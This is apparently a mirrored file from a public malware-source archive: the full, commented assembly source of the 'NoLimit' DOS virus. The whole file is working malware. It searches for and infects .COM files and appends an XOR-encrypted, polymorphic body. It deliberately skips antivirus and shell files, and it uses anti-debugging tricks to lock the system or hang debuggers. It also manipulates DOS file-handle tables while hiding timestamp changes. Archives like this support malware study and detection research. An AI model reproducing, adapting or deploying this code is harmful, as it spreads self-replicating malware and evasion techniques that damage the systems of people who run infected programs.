mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 00:18:34 +00:00
267 lines
12 KiB
Plaintext
267 lines
12 KiB
Plaintext
;
|
|
; NoLimit Virus by John Tardy / TridenT
|
|
;
|
|
; Limited version of Servant Virus
|
|
|
|
Version Equ 1 ; Initial release.
|
|
|
|
Org 0h ; Creates a .BIN file.
|
|
|
|
; This piece of code is located at the begin of the file
|
|
|
|
Start: Jmp MainVir ; Jump to the main virus.
|
|
|
|
Db '*' ; Infection marker.
|
|
|
|
; This will be appended to the victim
|
|
|
|
MainVir: Lea Si,Decr ; This is the decryptor, which
|
|
DecrOfs Equ $-2 ; is mutated from the main
|
|
Mov Cx,DecrLen ; virus. It uses a simple xor
|
|
Decrypt: Xor B [Si],0 ; algorithm. It uses three
|
|
DecVal Equ $-1 ; different index regs, Si, Di
|
|
Incer: Inc Si ; or Bx. The Xor OpCode can be
|
|
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
|
|
MainLen Equ $-Mainvir ; LoopNz.
|
|
|
|
; From here everything is encrypted
|
|
|
|
Decr: Call On1 ; Get Offset of the appended
|
|
On1: Pop BP ; virus by pushing the call on
|
|
Sub BP,On1 ; the stack and retrieve the
|
|
; address.
|
|
|
|
Mov W TrapIt[Bp],KillDebug ; This routine restores the
|
|
Lea Si,OrgPrg[Bp] ; beginning of the original
|
|
TrapIt Equ $-2 ; file, except when run from
|
|
Mov Di,100h ; a debugger. It will then
|
|
Push Di ; put the routine at
|
|
Push Ax ; KillDebug in place of that,
|
|
Movsw ; this locking the system
|
|
Movsw ; after infection and
|
|
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
|
|
Mov W TrapIt[Bp],OrgPrg ;
|
|
|
|
Mov Ah,19h ; We don't want to infect
|
|
Int 21h ; programs on floppy drive,
|
|
Cmp Al,2 ; we then go to NoHD.
|
|
Jb NoHD ;
|
|
|
|
Mov Ah,1ah ; Use a new DTA.
|
|
Mov Dx,0fd00h ;
|
|
Int 21h ;
|
|
|
|
In Al,21h ; This makes DOS DEBUG to
|
|
Or Al,2 ; hang and thus making
|
|
Out 21h,Al ; beginning virus-researchers
|
|
Xor Al,2 ; a hard time.
|
|
Out 21h,Al ;
|
|
|
|
Mov Ah,4eh ; Search a .COM file in the
|
|
Search: Lea Dx,FileSpec[BP] ; current directory.
|
|
Xor Cx,Cx ;
|
|
Int 21h ;
|
|
|
|
Jnc Found ; If found, goto found,
|
|
NoHD: Jmp Ready ; else goto ready.
|
|
|
|
KillDebug: Cli ; The routine that will be
|
|
Jmp KillDebug ; activated by the antidebug
|
|
; part.
|
|
|
|
Db '[NoLimit] John Tardy / Trident '
|
|
|
|
; Here follows a table of filenames to avoid with infecting.
|
|
|
|
Tabel Db 'CA' ; Catcher (Gobbler).
|
|
Db 'VA' ; Validate (McAfee).
|
|
Db 'GU' ; Guard (Dr. Solomon).
|
|
Db 'CO' ; Command.Com (Microsoft).
|
|
Db '4D' ; 4Dos (JP Software).
|
|
Db 'VS' ; VSafe (CPav).
|
|
Db 'TB' ; TbDel (Esass).
|
|
TabLen Equ $-Tabel
|
|
|
|
|
|
Found: Mov Bx,[0fd1eh] ; This routine checks if
|
|
Lea Si,Tabel[Bp] ; the candidate file begins
|
|
Mov Cx,TabLen/2 ; with the chars in the table
|
|
ChkNam: Lodsw ; above. If so, it goes to
|
|
Cmp Ax,Bx ; SearchNext.
|
|
Je SearchNext ;
|
|
Loop ChkNam ;
|
|
|
|
mov dx,0fd1eh ; Open the file with only
|
|
Mov Ax,3d00h ; read access.
|
|
Int 21h ;
|
|
|
|
Xchg Ax,Bx ; Put Filehandle to BX.
|
|
|
|
Mov Ah,45h ; Duplicate Filehandle and
|
|
Int 21h ; use the new one (confuses
|
|
Xchg Ax,Bx ; some resident monitoring
|
|
; software (TBFILE)).
|
|
|
|
mov Ax,1220h ; This is a tricky routine
|
|
push bx ; used to get the offset
|
|
int 2fh ; to the File Handle Table,
|
|
mov bl,es:[di] ; where we can change
|
|
Mov Ax,1216h ; directly some things.
|
|
int 2fh ;
|
|
pop bx ;
|
|
mov ds,es ;
|
|
|
|
mov byte ptr [di+2],2 ; File now open with write
|
|
; access.
|
|
|
|
mov al,b [di+4] ; Store old file attributes
|
|
mov b [di+4],0 ; and clear it.
|
|
push ax ;
|
|
|
|
push ds ; Store FHT on the stack.
|
|
push di ;
|
|
|
|
mov ds,cs ; Restore old Ds and Es
|
|
mov es,cs ; (with .COM equal to Cs).
|
|
|
|
Mov Ah,3fh ; Read the first 4 bytes
|
|
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
|
|
Mov Cx,4 ; (the call remember?)).
|
|
Int 21h ;
|
|
|
|
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
|
|
Cmp Ax,'ZM' ; .EXE file. If so, goto
|
|
Je ExeFile ; ExeFile.
|
|
Cmp Ax,'MZ' ;
|
|
Je ExeFile ;
|
|
|
|
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
|
|
|
|
Jne Infect ; If not so, goto Infect.
|
|
|
|
ExeFile: Call Close ; Call file close routine.
|
|
|
|
SearchNext: Mov Ah,4fh ; And search the next victim.
|
|
Jmp Search ;
|
|
|
|
Infect: Mov Ax,4202h ; Jump to EOF.
|
|
Cwd ;
|
|
Xor Cx,Cx ;
|
|
Int 21h ;
|
|
|
|
Sub Ax,3 ; Calculate the Jump and the
|
|
Mov CallPtr[BP+1],Ax ; decryptor offset values.
|
|
Add Ax,(Offset Decr+0ffh) ;
|
|
Mov DecrOfs[Bp],Ax ;
|
|
|
|
Call EncryptIt ; Call Encryption engine.
|
|
|
|
Mov Ah,40h ; Write the decoder to the
|
|
Lea Dx,MainVir[Bp] ; end of the file.
|
|
Mov Cx,MainLen ;
|
|
Int 21h ;
|
|
|
|
Mov Ah,40h ; And append the encrypted
|
|
Lea Dx,EndOfVir[BP] ; main virus body to it
|
|
Mov Cx,DecrLen ; also.
|
|
Int 21h ;
|
|
|
|
Mov Ax,4200h ; Jump to the beginning of
|
|
Cwd ; the file.
|
|
Xor Cx,Cx ;
|
|
Int 21h ;
|
|
|
|
Mov Ah,40h ; And write the jump to the
|
|
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
|
|
Mov Cx,4 ; the file.
|
|
Int 21h ;
|
|
|
|
Call Close ; Call close routine.
|
|
|
|
Ready: Mov Ah,1ah ; Restore the DTA.
|
|
Mov Dx,80h ;
|
|
Int 21h ;
|
|
|
|
Pop Ax ; Restore error register.
|
|
|
|
Ret ; Return to host (at 100h).
|
|
|
|
Close: Pop Si
|
|
|
|
pop di ; Restore FHT offset again.
|
|
pop ds ;
|
|
|
|
or b [di+6],40h ; Do not change file date/time
|
|
; stamps.
|
|
|
|
pop ax ; Restore file attributes.
|
|
mov b [di+4],al ;
|
|
|
|
Mov Ah,3eh ; Close file.
|
|
Int 21h ;
|
|
|
|
mov ds,cs ; Restore Ds segment.
|
|
|
|
Push Si
|
|
Ret
|
|
|
|
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
|
|
|
|
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
|
|
|
|
OrgPrg: Int 20h ; Original 4 bytes of the
|
|
Nop ; host program.
|
|
Nop ;
|
|
|
|
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
|
|
Mov Ds,Ax ; random value).
|
|
Mov Ah,B Ds:[046ch] ;
|
|
|
|
Mov Ds,Cs ; If Ah is zero, goto
|
|
Cmp Ah,0 ; EncryptIt
|
|
Je EncryptIt ;
|
|
|
|
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
|
|
Lea Si,Decr[Bp] ; to the address just at the
|
|
Lea Di,EndOfVir[Bp] ; end of the virus.
|
|
Mov Cx,DecrLen ;
|
|
Encrypt: Lodsb ;
|
|
Xor Al,Ah ;
|
|
Stosb ;
|
|
Loop Encrypt ;
|
|
|
|
Xor B Decrypt[Bp],2 ; Make the Xor variable.
|
|
|
|
Test Ah,4 ; Make the Loop variable
|
|
Jc NoGarble ; (xor works like a switch
|
|
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
|
|
|
|
Xchg Ah,Al ; Read the different
|
|
And Ax,0003h ; Si, Di, Bx instructions
|
|
Mov Si,Ax ; from the table and store
|
|
Add Si,PolyTable ; them into the decrytor, thus
|
|
Add Si,Bp ; making it recognizable only
|
|
Lodsb ; at 4 bytes. (or nibble
|
|
Mov B MainVir[Bp],Al ; checking is usable).
|
|
Add Si,3 ;
|
|
Lodsb ;
|
|
Mov B Decrypt[Bp+1],Al ;
|
|
Add Si,3 ;
|
|
Lodsb ;
|
|
Mov B Incer[Bp],Al ;
|
|
|
|
NoGarble: Ret ; Return to called
|
|
|
|
; Table with functions for polymorphing
|
|
|
|
PolyTable Equ $
|
|
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
|
|
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
|
|
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
|
|
|
|
DB Version ; Virus version number
|
|
|
|
DecrLen Equ $-Decr
|
|
|
|
EndOfVir Equ $
|